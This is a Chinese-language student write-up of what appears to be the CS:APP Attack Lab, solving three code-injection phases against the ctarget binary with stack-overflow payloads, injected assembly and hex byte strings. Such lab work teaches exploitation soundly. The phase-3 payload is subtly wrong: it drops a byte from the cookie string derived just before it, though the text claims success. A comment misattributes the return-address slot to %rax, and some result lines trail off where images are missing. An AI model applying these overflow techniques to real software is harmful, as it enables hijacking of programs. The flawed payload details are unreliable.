前言
首先我们回顾一下栈的知识点
1. %rsp每减1,都会创造出一个byte的空间
2. 代码注入攻击利用的就是缓冲区溢出而影响栈中存放的返回地址
从而使控制流改变,执行注入的恶意代码
使用的工具以及技巧
1. hex2raw工具
它利用Linux中的管道机制,实现非可见文本的输入
*使用方式 ./hex2raw < ctarget.l2.txt | ./ctarget -q*
2. objdump工具
进行反汇编得到汇编代码
使用方式 objdump -d execfile > execfile.s
3. gdb工具
你可以用它来设置断点,查看寄存器状态
使用方式
gdb exefile
(gdb)break *0x断点地址
(gdb)info registers //查看寄存器状态
Mission_1
由于这是我们的一个任务,就要先把准备工作做好
首先使用 objdump -d ctarget > execfile.s 命令把可执行程序进行反汇编
然后我们可以找到PDF中所说的touch1和getbuf
该任务的目的就是通过溢出将test中存在栈的返回值改为touch1的开始地址
首先我们需要明确getbuf开辟的栈空间大小(就是BUFFER_SIZE的值),以便我们后续操作
可以看到,在getbuf一开始有%rsp-40
所以可以得知BUFFER_SIZE==40
我们又看到touch1的开始地址为 0x4017c0
此时我们就可以开始写我们更改栈中内容的代码
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00 //注意小端序
注意小端序
这是我们分析的结果,由于hex2raw输入文件格式的限制
我们只能这样在txt文本中存放
注意,前面的00 可随意替换为其他(除了0xa,对应换行符)
Mission_1 completed!Yep!
Mission_2
首先我们要明确我们的目标是什么
1. 修改%rdi使它等于cookie的值
2. 既然需要修改%rdi,那么我们一定注入了代码,所以我们还需要像mission_1
一样修改返回地址到我们的注入代码,让代码执行
3. 因此我们的注入代码中应该还有一部分进行跳转,跳转到 touch2 执行
首先我们需要获取我们注入代码的地址,即栈顶指针的位置
利用gdb工具进行
得到栈顶地址为0x5561dc78
接下来处理我们的注入代码
由于retq函数是从栈顶弹出一个值进行跳转,所以需要压入touch2首地址
可以看到为0x4017ec
mov $0x59b997fa,%rdi
pushq $0x4017ec
retq
接下来使用工具得到我们代码的数值表示
1. 首先把代码保存到一个example.s文件中
2. 使用 gcc -c example.s 命令得到 example.o文件
3. 使用 objdump -d example.o > example.d 命令得到我们的反汇编文件
得到
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
所以我们的注入代码为
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
同样我们的输入格式应该为
结果
Mission_2 completed! Yep!
Mission_3
首先明确我们的目标
1. 给%rdi赋值为一个字符串,由于字符串类型无法直接传递,所以我们把它存到内存中一个位置中去
2. 因为getbuf的栈帧不稳定,所以我们需要给字符串找一个“安全”的位置
3. 我们需要注入代码让其跳转到 touch3
通过查阅资料得知
sprintf是用来将数字定向传输到字符串中的,并且在此语句中为小写16进制保存
strncmp是用来比较两字符串,若相等返回 0
所以可以得知,我们要传入的字符串应该为“59b997fa”
通过查找ASCII表
得出其十六进制序列为35 39 62 39 39 37 66 61 00(00为’\0’的值)
所以我们传入的字符串为上述序列
由于hexmatch中有
char * s =cbuf+random()%100
所以我们的字符串如果放在getbuf栈帧中的话可能会被篡改
所以我们只有把字符串放入test的栈帧中去
通过gdb得到test的栈顶地址
地址为0x5561dca8,这就是我们字符串要存的位置
此时再看我们要注入的代码
得到了touch3开始地址为0x4018fa
所以我们的注入代码为
mov $0x5561dca8,%rdi
pushq $0x4018fa
retq
应该是这个亚子
接下来再使用工具得到我们代码的数值表示
1. 首先把代码保存到一个example.s文件中
2. 使用 gcc -c example.s 命令得到 example.o文件
3. 使用 objdump -d example.o > example.d 命令得到我们的反汇编文件
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
okk,现在我们开始写我们的注入序列吧!
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55 //这里需要注意,因为%rax的存储空间为 8 bytes,所以我们需要把
00 00 00 00 //这个八个字节全部填满
35 39 62 39
37 66 61 00
同样,我们的输入格式应该为
结果
Mission_3 completed! Yep!